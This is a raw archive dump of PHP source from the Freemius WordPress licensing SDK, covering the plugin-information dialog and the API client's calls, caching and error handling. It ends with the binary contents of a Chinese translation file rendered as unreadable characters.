'left'; } else { $classes[] = 'button-primary'; $classes[] = 'right'; } if ( $is_disabled ) { $classes[] = 'disabled'; } $rel = ( '_blank' === $target ) ? ' rel="noopener noreferrer"' : ''; return sprintf( '%s', empty( $href ) ? '' : 'href="' . $href . '" target="' . $target . '"' . $rel, implode( ' ', $classes ), $label ); } /** * @author Vova Feldman (@svovaf) * @since 1.1.7 * * @param FS_Plugin_Plan $plan * * @return string */ private function get_trial_period( $plan ) { $trial_period = (int) $plan->trial_period; switch ( $trial_period ) { case 30: return 'month'; case 60: return '2 months'; default: return "{$plan->trial_period} days"; } } /** * Display plugin information in dialog box form. * * Based on core install_plugin_information() function. * * @author Vova Feldman (@svovaf) * @since 1.0.6 */ function install_plugin_information() { global $tab; if ( empty( $_REQUEST['plugin'] ) ) { return; } $args = array( 'slug' => wp_unslash( $_REQUEST['plugin'] ), 'is_ssl' => is_ssl(), 'fields' => array( 'banners' => true, 'reviews' => true, 'downloaded' => false, 'active_installs' => true ) ); if ( is_array( $args ) ) { $args = (object) $args; } if ( ! isset( $args->per_page ) ) { $args->per_page = 24; } if ( ! isset( $args->locale ) ) { $args->locale = get_locale(); } $api = apply_filters( 'fs_plugins_api', false, 'plugin_information', $args ); if ( is_wp_error( $api ) ) { wp_die( $api ); } $plugins_allowedtags = array( 'a' => array( 'href' => array(), 'title' => array(), 'target' => array(), // Add image style for screenshots. 'class' => array() ), 'style' => array(), 'abbr' => array( 'title' => array() ), 'acronym' => array( 'title' => array() ), 'code' => array(), 'pre' => array(), 'em' => array(), 'strong' => array(), 'div' => array( 'class' => array() ), 'span' => array( 'class' => array() ), 'p' => array(), 'ul' => array(), 'ol' => array(), 'li' => array( 'class' => array() ), 'i' => array( 'class' => array() ), 'h1' => array(), 'h2' => array(), 'h3' => array(), 'h4' => array(), 'h5' => array(), 'h6' => array(), 'img' => array( 'src' => array(), 'class' => array(), 'alt' => array() ), // 'table' => array(), // 'td' => array(), // 'tr' => array(), // 'th' => array(), // 'thead' => array(), // 'tbody' => array(), ); $plugins_section_titles = array( 'description' => fs_text_x_inline( 'Description', 'Plugin installer section title', 'description', $api->slug ), 'installation' => fs_text_x_inline( 'Installation', 'Plugin installer section title', 'installation', $api->slug ), 'faq' => fs_text_x_inline( 'FAQ', 'Plugin installer section title', 'faq', $api->slug ), 'screenshots' => fs_text_inline( 'Screenshots', 'screenshots', $api->slug ), 'changelog' => fs_text_x_inline( 'Changelog', 'Plugin installer section title', 'changelog', $api->slug ), 'reviews' => fs_text_x_inline( 'Reviews', 'Plugin installer section title', 'reviews', $api->slug ), 'other_notes' => fs_text_x_inline( 'Other Notes', 'Plugin installer section title', 'other-notes', $api->slug ), ); // Sanitize HTML // foreach ( (array) $api->sections as $section_name => $content ) { // $api->sections[$section_name] = wp_kses( $content, $plugins_allowedtags ); // } foreach ( array( 'version', 'author', 'requires', 'tested', 'homepage', 'downloaded', 'slug' ) as $key ) { if ( isset( $api->$key ) ) { $api->$key = wp_kses( $api->$key, $plugins_allowedtags ); } } // Add after $api->slug is ready. $plugins_section_titles['features'] = fs_text_x_inline( 'Features & Pricing', 'Plugin installer section title', 'features-and-pricing', $api->slug ); $_tab = esc_attr( $tab ); $section = isset( $_REQUEST['section'] ) ? wp_unslash( $_REQUEST['section'] ) : 'description'; // Default to the Description tab, Do not translate, API returns English. if ( empty( $section ) || ! isset( $api->sections[ $section ] ) ) { $section_titles = array_keys( (array) $api->sections ); $section = array_shift( $section_titles ); } iframe_header( fs_text_inline( 'Plugin Install', 'plugin-install', $api->slug ) ); $_with_banner = ''; // var_dump($api->banners); if ( ! empty( $api->banners ) && ( ! empty( $api->banners['low'] ) || ! empty( $api->banners['high'] ) ) ) { $_with_banner = 'with-banner'; $low = empty( $api->banners['low'] ) ? $api->banners['high'] : $api->banners['low']; $high = empty( $api->banners['high'] ) ? $api->banners['low'] : $api->banners['high']; ?> '; echo "

                  {$api->name}

                  "; echo "
                  \n"; foreach ( (array) $api->sections as $section_name => $content ) { if ( 'reviews' === $section_name && ( empty( $api->ratings ) || 0 === array_sum( (array) $api->ratings ) ) ) { continue; } if ( isset( $plugins_section_titles[ $section_name ] ) ) { $title = $plugins_section_titles[ $section_name ]; } else { $title = ucwords( str_replace( '_', ' ', $section_name ) ); } $class = ( $section_name === $section ) ? ' class="current"' : ''; $href = add_query_arg( array( 'tab' => $tab, 'section' => $section_name ) ); $href = esc_url( $href ); $san_section = esc_attr( $section_name ); echo "\t" . esc_html( $title ) . "\n"; } echo "
                  \n"; ?>
                  is_paid ) : ?> plans ) ) : ?>
                  plans as $plan ) : ?> pricing ) ) { continue; } /** * @var FS_Plugin_Plan $plan */ ?> pricing[0] ?> is_multi_cycle() ?>

                  slug ), $plan->title ) ) ?>

                  has_annual() ?> has_monthly() ?>
                  pricing[0]->annual_discount_percentage() : 0 ?> 0 ) : ?> slug ), $annual_discount . '%' ) ?>
                  get_actions_dropdown( $api, $plan ) ?>
                  has_trial() ) : ?> get_trial_period( $plan ) ?>
                  • slug ), $trial_period ) ) ?>
                  • slug ) ), $trial_period, '' . $this->get_price_tag( $plan, $plan->pricing[0] ) . '' ) ?>

                  slug ) ?>

                    version ) ) { ?>
                  • slug ); ?> : version; ?>
                  • author ) ) { ?>
                  • slug ); ?> : author, '_blank' ); ?>
                  • last_updated ) ) { ?>
                  • slug ); ?> : slug ), human_time_diff( strtotime( $api->last_updated ) ) ) ) ?>
                  • requires ) ) { ?>
                  • slug ) ?> : slug ), $api->requires ) ) ?>
                  • tested ) ) { ?>
                  • slug ); ?> : tested; ?>
                  • requires_php ) ) { ?>
                  • slug ); ?>: slug ), $api->requires_php ) ); ?>
                  • downloaded ) ) { ?>
                  • slug ) ?> : downloaded ) ? /* translators: %s: 1 or One (Number of times downloaded) */ fs_text_inline( '%s time', 'x-time', $api->slug ) : /* translators: %s: Number of times downloaded */ fs_text_inline( '%s times', 'x-times', $api->slug ) ), number_format_i18n( $api->downloaded ) ) ); ?>
                  • slug ) && true == $api->is_wp_org_compliant ) { ?>
                  • slug ) ?> »
                  • homepage ) ) { ?>
                  • slug ) ?> »
                  • donate_link ) && empty( $api->contributors ) ) { ?>
                  • slug ) ?> »
                  rating ) ) { ?>

                  slug ); ?>

                  $api->rating, 'type' => 'percent', 'number' => $api->num_ratings ) ); ?> (slug ), sprintf( ( ( 1 == $api->num_ratings ) ? /* translators: %s: 1 or One */ fs_text_inline( '%s rating', 'x-rating', $api->slug ) : /* translators: %s: Number larger than 1 */ fs_text_inline( '%s ratings', 'x-ratings', $api->slug ) ), number_format_i18n( $api->num_ratings ) ) ) ) ?>) ratings ) && array_sum( (array) $api->ratings ) > 0 ) { foreach ( $api->ratings as $key => $ratecount ) { // Avoid div-by-zero. $_rating = $api->num_ratings ? ( $ratecount / $api->num_ratings ) : 0; $stars_label = sprintf( ( ( 1 == $key ) ? /* translators: %s: 1 or One */ fs_text_inline( '%s star', 'x-star', $api->slug ) : /* translators: %s: Number larger than 1 */ fs_text_inline( '%s stars', 'x-stars', $api->slug ) ), number_format_i18n( $key ) ); ?>
                  contributors ) ) { ?>

                  slug ); ?>

                    contributors as $contrib_username => $contrib_profile ) { if ( empty( $contrib_username ) && empty( $contrib_profile ) ) { continue; } if ( empty( $contrib_username ) ) { $contrib_username = preg_replace( '/^.+\/(.+)\/?$/', '\1', $contrib_profile ); } $contrib_username = sanitize_user( $contrib_username ); if ( empty( $contrib_profile ) ) { echo "
                  • {$contrib_username}
                  • "; } else { echo "
                  • {$contrib_username}
                  • "; } } ?>
                  donate_link ) ) { ?> slug ) ?> »
                  requires_php ) ? $api->requires_php : null; $requires_wp = isset( $api->requires ) ? $api->requires : null; $compatible_php = empty( $requires_php ) || version_compare( PHP_VERSION, $requires_php, '>=' ); // Strip off any -alpha, -RC, -beta, -src suffixes. list( $wp_version ) = explode( '-', $GLOBALS['wp_version'] ); $compatible_wp = empty( $requires_wp ) || version_compare( $wp_version, $requires_wp, '>=' ); $tested_wp = ( empty( $api->tested ) || version_compare( $wp_version, $api->tested, '<=' ) ); if ( ! $compatible_php ) { echo '

                  ' . fs_text_inline( 'Error', 'error', $api->slug ) . ': ' . fs_text_inline( 'This plugin requires a newer version of PHP.', 'newer-php-required-error', $api->slug ); if ( current_user_can( 'update_php' ) ) { $wp_get_update_php_url = function_exists( 'wp_get_update_php_url' ) ? wp_get_update_php_url() : 'https://wordpress.org/support/update-php/'; printf( /* translators: %s: URL to Update PHP page. */ ' ' . fs_text_inline( 'Click here to learn more about updating PHP.', 'php-update-learn-more-link', $api->slug ), esc_url( $wp_get_update_php_url ) ); if ( function_exists( 'wp_update_php_annotation' ) ) { wp_update_php_annotation( '

                  ', '' ); } } else { echo '

                  '; } echo '
                  '; } if ( ! $tested_wp ) { echo '

                  ' . '' . fs_text_inline( 'Warning', 'warning', $api->slug ) . ': ' . fs_text_inline( 'This plugin has not been tested with your current version of WordPress.', 'not-tested-warning', $api->slug ) . '

                  '; } else if ( ! $compatible_wp ) { echo '

                  ' . '' . fs_text_inline( 'Warning', 'warning', $api->slug ) . ': ' . fs_text_inline( 'This plugin has not been marked as compatible with your version of WordPress.', 'not-compatible-warning', $api->slug ) . '

                  '; } foreach ( (array) $api->sections as $section_name => $content ) { $content = links_add_base_url( $content, 'https://wordpress.org/plugins/' . $api->slug . '/' ); $content = links_add_target( $content, '_blank' ); $san_section = esc_attr( $section_name ); $display = ( $section_name === $section ) ? 'block' : 'none'; if ( 'description' === $section_name && ( ( $api->is_wp_org_compliant && $api->wp_org_missing ) || ( ! $api->is_wp_org_compliant && $api->fs_missing ) ) ) { $missing_notice = array( 'type' => 'error', 'id' => md5( microtime() ), 'message' => $api->is_paid ? fs_text_inline( 'Paid add-on must be deployed to Freemius.', 'paid-addon-not-deployed', $api->slug ) : fs_text_inline( 'Add-on must be deployed to WordPress.org or Freemius.', 'free-addon-not-deployed', $api->slug ), ); fs_require_template( 'admin-notice.php', $missing_notice ); } echo "\t
                  \n"; echo $content; echo "\t
                  \n"; } echo "
                  \n"; echo "
                  \n"; echo "
                  \n"; // #plugin-information-scrollable echo "\n"; ?> get_option( 'api_clock_diff', 0 ); Freemius_Api_WordPress::SetClockDiff( self::$_clock_diff ); if ( self::$_options->get_option( 'api_force_http', false ) ) { Freemius_Api_WordPress::SetHttp(); } } /** * @param string $slug * @param string $scope 'app', 'developer', 'user' or 'install'. * @param number $id Element's id. * @param string $public_key Public key. * @param bool|string $secret_key Element's secret key. * @param bool $is_sandbox * @param null|string $sdk_version * @param null|string $url */ private function __construct( $slug, $scope, $id, $public_key, $secret_key, $is_sandbox, $sdk_version, $url ) { $this->_api = new Freemius_Api_WordPress( $scope, $id, $public_key, $secret_key, $is_sandbox ); $this->_slug = $slug; $this->_sdk_version = $sdk_version; $this->_url = $url; $this->_logger = FS_Logger::get_logger( WP_FS__SLUG . '_' . $slug . '_api', WP_FS__DEBUG_SDK, WP_FS__ECHO_DEBUG_SDK ); } /** * Find clock diff between server and API server, and store the diff locally. * * @param bool|int $diff * * @return bool|int False if clock diff didn't change, otherwise returns the clock diff in seconds. */ private function _sync_clock_diff( $diff = false ) { $this->_logger->entrance(); // Sync clock and store. $new_clock_diff = ( false === $diff ) ? Freemius_Api_WordPress::FindClockDiff() : $diff; if ( $new_clock_diff === self::$_clock_diff ) { return false; } self::$_clock_diff = $new_clock_diff; // Update API clock's diff. Freemius_Api_WordPress::SetClockDiff( self::$_clock_diff ); // Store new clock diff in storage. self::$_options->set_option( 'api_clock_diff', self::$_clock_diff, true ); return $new_clock_diff; } /** * Override API call to enable retry with servers' clock auto sync method. * * @param string $path * @param string $method * @param array $params * @param bool $in_retry Is in retry or first call attempt. * * @return array|mixed|string|void */ private function _call( $path, $method = 'GET', $params = array(), $in_retry = false ) { $this->_logger->entrance( $method . ':' . $path ); $force_http = ( ! $in_retry && self::$_options->get_option( 'api_force_http', false ) ); if ( self::is_temporary_down() ) { $result = $this->get_temporary_unavailable_error(); } else { /** * @since 2.3.0 Include the SDK version with all API requests that going through the API manager. IMPORTANT: Only pass the SDK version if the caller didn't include it yet. */ if ( ! empty( $this->_sdk_version ) ) { if ( false === strpos( $path, 'sdk_version=' ) && ! isset( $params['sdk_version'] ) ) { // Always add the sdk_version param in the querystring. DO NOT INCLUDE IT IN THE BODY PARAMS, OTHERWISE, IT MAY LEAD TO AN UNEXPECTED PARAMS PARSING IN CASES WHERE THE $params IS A REGULAR NON-ASSOCIATIVE ARRAY. $path = add_query_arg( 'sdk_version', $this->_sdk_version, $path ); } } /** * @since 2.5.0 Include the site's URL, if available, in all API requests that are going through the API manager. */ if ( ! empty( $this->_url ) ) { if ( false === strpos( $path, 'url=' ) && ! isset( $params['url'] ) ) { $path = add_query_arg( 'url', $this->_url, $path ); } } $result = $this->_api->Api( $path, $method, $params ); if ( ! $in_retry && null !== $result && isset( $result->error ) && isset( $result->error->code ) ) { $retry = false; if ( 'request_expired' === $result->error->code ) { $diff = isset( $result->error->timestamp ) ? ( time() - strtotime( $result->error->timestamp ) ) : false; // Try to sync clock diff. if ( false !== $this->_sync_clock_diff( $diff ) ) { // Retry call with new synced clock. $retry = true; } } else if ( Freemius_Api_WordPress::IsHttps() && FS_Api::is_ssl_error_response( $result ) ) { $force_http = true; $retry = true; } if ( $retry ) { if ( $force_http ) { $this->toggle_force_http( true ); } $result = $this->_call( $path, $method, $params, true ); } } } if ( self::is_api_error( $result ) ) { if ( $this->_logger->is_on() ) { // Log API errors. $this->_logger->api_error( $result ); } if ( $force_http ) { $this->toggle_force_http( false ); } } return $result; } /** * Override API call to wrap it in servers' clock sync method. * * @param string $path * @param string $method * @param array $params * * @return array|mixed|string|void * @throws Freemius_Exception */ function call( $path, $method = 'GET', $params = array() ) { return $this->_call( $path, $method, $params ); } /** * Get API request URL signed via query string. * * @param string $path * * @return string */ function get_signed_url( $path ) { return $this->_api->GetSignedUrl( $path ); } /** * @param string $path * @param bool $flush * @param int $expiration (optional) Time until expiration in seconds from now, defaults to 24 hours * * @return stdClass|mixed */ function get( $path = '/', $flush = false, $expiration = WP_FS__TIME_24_HOURS_IN_SEC ) { $this->_logger->entrance( $path ); $cache_key = $this->get_cache_key( $path ); // Always flush during development. if ( WP_FS__DEV_MODE || $this->_api->IsSandbox() ) { $flush = true; } $cached_result = self::$_cache->get( $cache_key ); if ( $flush || ! self::$_cache->has_valid( $cache_key, $expiration ) ) { $result = $this->call( $path ); if ( ! is_object( $result ) || isset( $result->error ) ) { // Api returned an error. if ( is_object( $cached_result ) && ! isset( $cached_result->error ) ) { // If there was an error during a newer data fetch, // fallback to older data version. $result = $cached_result; if ( $this->_logger->is_on() ) { $this->_logger->warn( 'Fallback to cached API result: ' . var_export( $cached_result, true ) ); } } else { if ( is_object( $result ) && isset( $result->error->http ) && 404 == $result->error->http ) { /** * If the response code is 404, cache the result for half of the `$expiration`. * * @author Leo Fajardo (@leorw) * @since 2.2.4 */ $expiration /= 2; } else { // If no older data version and the response code is not 404, return result without // caching the error. return $result; } } } self::$_cache->set( $cache_key, $result, $expiration ); $cached_result = $result; } else { $this->_logger->log( 'Using cached API result.' ); } return $cached_result; } /** * @todo Remove this method after migrating Freemius::safe_remote_post() to FS_Api::call(). * * @author Leo Fajardo (@leorw) * @since 2.5.4 * * @param string $url * @param array $remote_args * * @return array|WP_Error The response array or a WP_Error on failure. */ static function remote_request( $url, $remote_args ) { if ( ! class_exists( 'Freemius_Api_WordPress' ) ) { require_once WP_FS__DIR_SDK . '/FreemiusWordPress.php'; } if ( method_exists( 'Freemius_Api_WordPress', 'RemoteRequest' ) ) { return Freemius_Api_WordPress::RemoteRequest( $url, $remote_args ); } // The following is for backward compatibility when a modified PHP SDK version is in use and the `Freemius_Api_WordPress:RemoteRequest()` method doesn't exist. $response = wp_remote_request( $url, $remote_args ); if ( is_array( $response ) && ( empty( $response['headers'] ) || empty( $response['headers']['x-api-server'] ) ) ) { // API is considered blocked if the response doesn't include the `x-api-server` header. When there's no error but this header doesn't exist, the response is usually not in the expected form (e.g., cannot be JSON-decoded). $response = new WP_Error( 'api_blocked', htmlentities( $response['body'] ) ); } return $response; } /** * Check if there's a cached version of the API request. * * @author Vova Feldman (@svovaf) * @since 1.2.1 * * @param string $path * @param string $method * @param array $params * * @return bool */ function is_cached( $path, $method = 'GET', $params = array() ) { $cache_key = $this->get_cache_key( $path, $method, $params ); return self::$_cache->has_valid( $cache_key ); } /** * Invalidate a cached version of the API request. * * @author Vova Feldman (@svovaf) * @since 1.2.1.5 * * @param string $path * @param string $method * @param array $params */ function purge_cache( $path, $method = 'GET', $params = array() ) { $this->_logger->entrance( "{$method}:{$path}" ); $cache_key = $this->get_cache_key( $path, $method, $params ); self::$_cache->purge( $cache_key ); } /** * Invalidate a cached version of the API request. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param string $path * @param int $expiration * @param string $method * @param array $params */ function update_cache_expiration( $path, $expiration = WP_FS__TIME_24_HOURS_IN_SEC, $method = 'GET', $params = array() ) { $this->_logger->entrance( "{$method}:{$path}:{$expiration}" ); $cache_key = $this->get_cache_key( $path, $method, $params ); self::$_cache->update_expiration( $cache_key, $expiration ); } /** * @param string $path * @param string $method * @param array $params * * @return string * @throws \Freemius_Exception */ private function get_cache_key( $path, $method = 'GET', $params = array() ) { $canonized = $this->_api->CanonizePath( $path ); // $exploded = explode('/', $canonized); // return $method . '_' . array_pop($exploded) . '_' . md5($canonized . json_encode($params)); return strtolower( $method . ':' . $canonized ) . ( ! empty( $params ) ? '#' . md5( json_encode( $params ) ) : '' ); } /** * @author Leo Fajardo (@leorw) * @since 2.5.4 * * @param bool $is_http */ private function toggle_force_http( $is_http ) { self::$_options->set_option( 'api_force_http', $is_http, true ); if ( $is_http ) { Freemius_Api_WordPress::SetHttp(); } else if ( method_exists( 'Freemius_Api_WordPress', 'SetHttps' ) ) { Freemius_Api_WordPress::SetHttps(); } } /** * @author Leo Fajardo (@leorw) * @since 2.5.4 * * @param mixed $response * * @return bool */ static function is_blocked( $response ) { return ( self::is_api_error_object( $response, true ) && isset( $response->error->code ) && 'api_blocked' === $response->error->code ); } /** * Check if API is temporary down. * * @author Vova Feldman (@svovaf) * @since 1.1.6 * * @return bool */ static function is_temporary_down() { self::_init(); $test = self::$_cache->get_valid( 'ping_test', null ); return ( false === $test ); } /** * @author Vova Feldman (@svovaf) * @since 1.1.6 * * @return object */ private function get_temporary_unavailable_error() { return (object) array( 'error' => (object) array( 'type' => 'TemporaryUnavailable', 'message' => 'API is temporary unavailable, please retry in ' . ( self::$_cache->get_record_expiration( 'ping_test' ) - WP_FS__SCRIPT_START_TIME ) . ' sec.', 'code' => 'temporary_unavailable', 'http' => 503 ) ); } /** * Check if based on the API result we should try * to re-run the same request with HTTP instead of HTTPS. * * @author Vova Feldman (@svovaf) * @since 1.1.6 * * @param $result * * @return bool */ private static function should_try_with_http( $result ) { if ( ! Freemius_Api_WordPress::IsHttps() ) { return false; } return ( ! is_object( $result ) || ! isset( $result->error ) || ! isset( $result->error->code ) || ! in_array( $result->error->code, array( 'curl_missing', 'cloudflare_ddos_protection', 'maintenance_mode', 'squid_cache_block', 'too_many_requests', ) ) ); } function get_url( $path = '' ) { return Freemius_Api_WordPress::GetUrl( $path, $this->_api->IsSandbox() ); } /** * Clear API cache. * * @author Vova Feldman (@svovaf) * @since 1.0.9 */ static function clear_cache() { self::_init(); self::$_cache = FS_Cache_Manager::get_manager( WP_FS__API_CACHE_OPTION_NAME ); self::$_cache->clear(); } /** * @author Leo Fajardo (@leorw) * @since 2.5.4 */ static function clear_force_http_flag() { self::$_options->unset_option( 'api_force_http' ); } #---------------------------------------------------------------------------------- #region Error Handling #---------------------------------------------------------------------------------- /** * @author Vova Feldman (@svovaf) * @since 1.2.1.5 * * @param mixed $result * * @return bool Is API result contains an error. */ static function is_api_error( $result ) { return ( is_object( $result ) && isset( $result->error ) ) || is_string( $result ); } /** * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param mixed $result * @param bool $ignore_message * * @return bool Is API result contains an error. */ static function is_api_error_object( $result, $ignore_message = false ) { return ( is_object( $result ) && isset( $result->error ) && ( $ignore_message || isset( $result->error->message ) ) ); } /** * @author Leo Fajardo (@leorw) * @since 2.5.4 * * @param WP_Error|object|string $response * * @return bool */ static function is_ssl_error_response( $response ) { $http_error = null; if ( $response instanceof WP_Error ) { if ( isset( $response->errors ) && isset( $response->errors['http_request_failed'] ) ) { $http_error = strtolower( $response->errors['http_request_failed'][0] ); } } else if ( self::is_api_error_object( $response ) && ! empty( $response->error->message ) ) { $http_error = $response->error->message; } return ( ! empty( $http_error ) && ( false !== strpos( $http_error, 'curl error 35' ) || ( false === strpos( $http_error, '' ) && false !== strpos( $http_error, 'ssl' ) ) ) ); } /** * Checks if given API result is a non-empty and not an error object. * * @author Vova Feldman (@svovaf) * @since 1.2.1.5 * * @param mixed $result * @param string|null $required_property Optional property we want to verify that is set. * * @return bool */ static function is_api_result_object( $result, $required_property = null ) { return ( is_object( $result ) && ! isset( $result->error ) && ( empty( $required_property ) || isset( $result->{$required_property} ) ) ); } /** * Checks if given API result is a non-empty entity object with non-empty ID. * * @author Vova Feldman (@svovaf) * @since 1.2.1.5 * * @param mixed $result * * @return bool */ static function is_api_result_entity( $result ) { return self::is_api_result_object( $result, 'id' ) && FS_Entity::is_valid_id( $result->id ); } /** * Get API result error code. If failed to get code, returns an empty string. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param mixed $result * * @return string */ static function get_error_code( $result ) { if ( is_object( $result ) && isset( $result->error ) && is_object( $result->error ) && ! empty( $result->error->code ) ) { return $result->error->code; } return ''; } #endregion }vendor/freemius/languages/freemius-zh_CN.mo000064400000154243147600365160015022 0ustar00gT5&`3Aa33nF424Z4hC5d5S6%e6 6 66666c77_O888#8 9 $9 19 ;9F9M9U9^9f9@o9H99O :j\::c;g;;;;;; ;;;<<&(<-O<}< <<<<<<5<= = 0= :='F=n= = ==o=>&>G>T ?b??+@>@"Z@}@(@2@!@aA+zA0AAABBB+B0B8BKBTB\B aB mB{B BEBBBCC CCC C C CDDY/DDD D DDDDD D(E1,E%^E:EEEEE E EFF #F-F 2F=FxPFF ^G kGuG H"H6H>HtYHHHHII1IGIfI IIGJJ[JfMKK KKKKKYLaiLLLL M M #M;1MmMrMyMxN }N N NNjNO5+O aOkO3tO2OO~OUnPPPPQ)*Q-TQQSQQ'R*Rg-RMR7RgSpSSTyTTT TTT TU%0U VUwUUUU UU1qV.VOV"WAWWyX2~XXXaXIYBMY,YY Y YYY ZZ%Z-Z ?Z JZVZ fZrZZ4ZZ ZZZZZ[ [[%[ @[L[ S[ _[k[[ [ [[[ [![[ \\\%\B\%H\+n\\ \ \/\\m]~o]]]]^ ^+^ 4^ ?^)M^w^^4^^5^( _6_>_-U__U_6_$`1`~aa[bc6c=c McWc(fc*c"c1c+d*;d&fdNdddd.e)1e[ekeeee e eeeee ee ff-f3fWLf fffff gggg%g+g ;gGg Yg5dgsglh&{hhh hhhiii:i @iJi Oi=[i&iLif jtj zj jjj jj j jj jj k kkk/Kl{l)l l l\l8mMm`mCmmmmnmnxod~o-op p$p+p'JpMrpGp qqqqqqqEqr(r:rQr`rgr*vrr*r^r3sBsJsSsYsd_ss ss sttitWtnt"LuBou6u=u'v yz 0z&Qz<xzDzZzTU{R{.{.,|[|-m}9}Z}30~<d~b~PUU_ K(G#c%)$ׁU)R|Â;؂6>K˃$ <X&v*7Ȅ53NŅم*1!So#ÆՆ (=B GTN]ˇ%6;A1\ ˈ ׈  & 49@CzQÉ % 2<Vqw  Ŋ Ҋ :Ύ QScW_6T ]ir,H\$>c ǓГ֓ܓ:G.v7v7%.=L_-o0Ζ  ,39m t  ʗ חYNU<ژ<Tj $$'L.e,Oך''-O}  ƛ ӛ  !7<G! Q ] j w E  ,9@GY ly),ž   ! .8J Q\cj\zlןD KX٠ `¡ɡء 2M?V 07;Mf2 9 E'Ow~ N X e r[/+29)Xpi vĨڨ!\-#Xé92VUkߪKaaj̫ $<[,m!ì  3ݭNuj0k-6ЯGAQH*Ṵ̋߰ *7 > H Uaq6 #*18Hat {  βղ &  7 AK*Oz! ҳ ߳)Yeq ״ # 2? O,Y8/;D']?0Զ!÷u[P \u | ƹֹݹNFM c p! ֺ ݺ  #'. > KX_L~˻ۻ!( >I R\ ly(]]$u ӽ 5 <F KAW$`i  ƿӿ ڿ !# 6zC,Kx' _4L[2s a^9hKMk r99 /9@62 BObt{* W kxlQ:Z%/ 6=;t2P k!4SDX5G7&Jqg0"7T2l7MV%W|#& #*)NOx$4T"WwZQ*|J!N8p# I*t    ,04;B I V`s %.AHOV ZdFk    # -7> EOV ]j3n?   3:AHOV ] jw~kd.z<=" NH<+YoH#C  j'S8M?PN6X< xF8:,I}Z*G0C";(YZ6 Esa-nfPUr/uv4EnhYv &]ehJL'Tp5Iw9BAF`S\|WmVP:2O_Sy'c[ ~Q2 _qj9(.7%GR3!iwR Qg  0o!2m |OE\V34d] Q"g ?zWG.TgD$U$DFUM9{c^@#y=[&`;lC> ?@{8=sTX7`t>a~RxN bb0,\ f/lf#b1MVB^)Z%qe[}e:-5$>J*B/k;t&LX ]p)L,@*Ir!i1uKd%)6^A(W4AKO+1DHa75K_J+c3- %s to access version %s security & feature updates, and support. The %s's %sdownload link%s, license key, and installation instructions have been sent to %s. If you can't find the email after 5 min, please check your spam box. The paid version of %1$s is already installed. Please activate it to start benefiting the %2$s features. %3$s"The ", e.g.: "The plugin"The %s's%1$s has been placed into safe mode because we noticed that %2$s is an exact copy of %3$s.%1$s will immediately stop all future recurring payments and your %2$s plan license will expire in %3$s.%1$s will immediately stop all future recurring payments and your %s plan license will expire in %s.%s - plugin name. As complete "PluginX" activation nowComplete "%s" Activation Now%s Add-on was successfully purchased.%s Installs%s Licenses%s ago%s and its add-ons%s automatic security & feature updates and paid functionality will keep working without interruptions until %s (or when your license expires, whatever comes first).%s commission when a customer purchases a new license.%s free trial was successfully cancelled. Since the add-on is premium only it was automatically deactivated. If you like to use it in the future, you'll have to purchase a license.%s is a premium only add-on. You have to purchase a license first before activating the plugin.%s is my client's email address%s is my email address%s is the new owner of the account.%s minimum payout amount.%s or higher%s rating%s ratings%s sec%s star%s stars%s time%s times%s to access version %s security & feature updates, and support.%s tracking cookie after the first visit to maximize earnings potential.%s's paid features%sClick here%s to choose the sites where you'd like to activate the license on.A confirmation email was just sent to %s. The email owner must confirm the update within the next 4 hours.A confirmation email was just sent to %s. You must confirm the update within the next 4 hours. If you cannot find the email, please check your spam folder.APIASCII arrow left icon←ASCII arrow right icon➤AccountAccount DetailsActionsActivateActivate %sActivate %s PlanActivate %s featuresActivate Free VersionActivate LicenseActivate license on all pending sites.Activate license on all sites in the network.Activate this add-onActivatedAdd Ons for %sAdd Ons of module %sAdd another domainAdd-OnAdd-OnsAdd-on must be deployed to WordPress.org or Freemius.AddressAddress Line %dAffiliateAffiliationAfter your free %s, pay as little as %sAgree & Activate LicenseAll RequestsAll TypesAllow & ContinueAlternatively, you can skip it for now and activate the license later, in your %s's network-level Account page.AmountAn automated download and installation of %s (paid version) from %s will start in %s. If you would like to do it manually - click the cancellation button now.An unknown error has occurred while trying to set the user's beta mode.An unknown error has occurred while trying to toggle the license's white-label mode.An unknown error has occurred.An update to a Beta version will replace your installed version of %s with the latest Beta release - use with caution, and not on production sites. You have been warned.Anonymous feedbackApply on all pending sites.Apply on all sites in the network.Apply to become an affiliateAre both %s and %s your email addresses?Are you sure you want to delete all Freemius data?Are you sure you want to proceed?As we reserve 30 days for potential refunds, we only pay commissions that are older than 30 days.Associate with the license owner's account.Auto installation only works for opted-in users.Auto renews in %sAutomatic InstallationAverage RatingAwesomeBecome an affiliateBetaBillingBilling & InvoicesBlockingBlog IDBodyBundle PlanBusiness nameBuy a license nowBuy licenseBy changing the user, you agree to transfer the account ownership to:Can't find your license key?CancelCancel %s & ProceedCancel %s - I no longer need any security & feature updates, nor support for %s because I'm not planning to use the %s on this, or any other site.Cancel %s?Cancel InstallationCancel SubscriptionCancel TrialCancelledCancelling %sCancelling %s...Cancelling the subscriptionCancelling the trial will immediately block access to all premium features. Are you sure?Change LicenseChange OwnershipChange PlanChange UserCheckoutCityClear API CacheClear Updates TransientsClick hereClick here to use the plugin anonymouslyClick to see reviews that provided a rating of %sClick to view full-size screenshot %dClone resolution admin notice products list labelProductsCodeCompatible up toContactContact SupportContact UsContributorsCouldn't activate %s.CountryCron TypeDateDeactivateDeactivate LicenseDeactivating or uninstalling the %s will automatically disable the license, which you'll be able to use on another site.Deactivating your license will block all premium features, but will enable activating the license on another site. Are you sure you want to proceed?DeactivationDebug LogDebug mode was successfully enabled and will be automatically disabled in 60 min. You can also disable it earlier by clicking the "Stop Debug" link.Delegate to Site AdminsDelete All AccountsDetailsDisabling white-label modeDon't cancel %s - I'm still interested in getting security & feature updates, as well as be able to contact support.Don't have a license key?Donate to this pluginDowngrading your planDownloadDownload %s VersionDownload Paid VersionDownload the latest %s versionDownload the latest versionDownloadedDue to the new %sEU General Data Protection Regulation (GDPR)%s compliance requirements it is required that you provide your explicit consent, again, confirming that you are onboard :-)Due to violation of our affiliation terms, we decided to temporarily block your affiliation account. If you have any questions, please contact support.Duplicate WebsiteDuring the update process we detected %d site(s) that are still pending license activation.During the update process we detected %s site(s) in the network that are still pending your attention.EmailEmail addressEmail address updateEnabling white-label modeEndEnter email addressEnter the domain of your website or other websites from where you plan to promote the %s.Enter the email address you've used for the upgrade below and we will resend you the license key.Enter the new email addressErrorError received from the server:ExpiredExpires in %sExtra DomainsExtra domains where you will be marketing the product from.FileFilterFor compliance with the WordPress.org guidelines, before we start the trial we ask that you opt in with your user and non-sensitive site 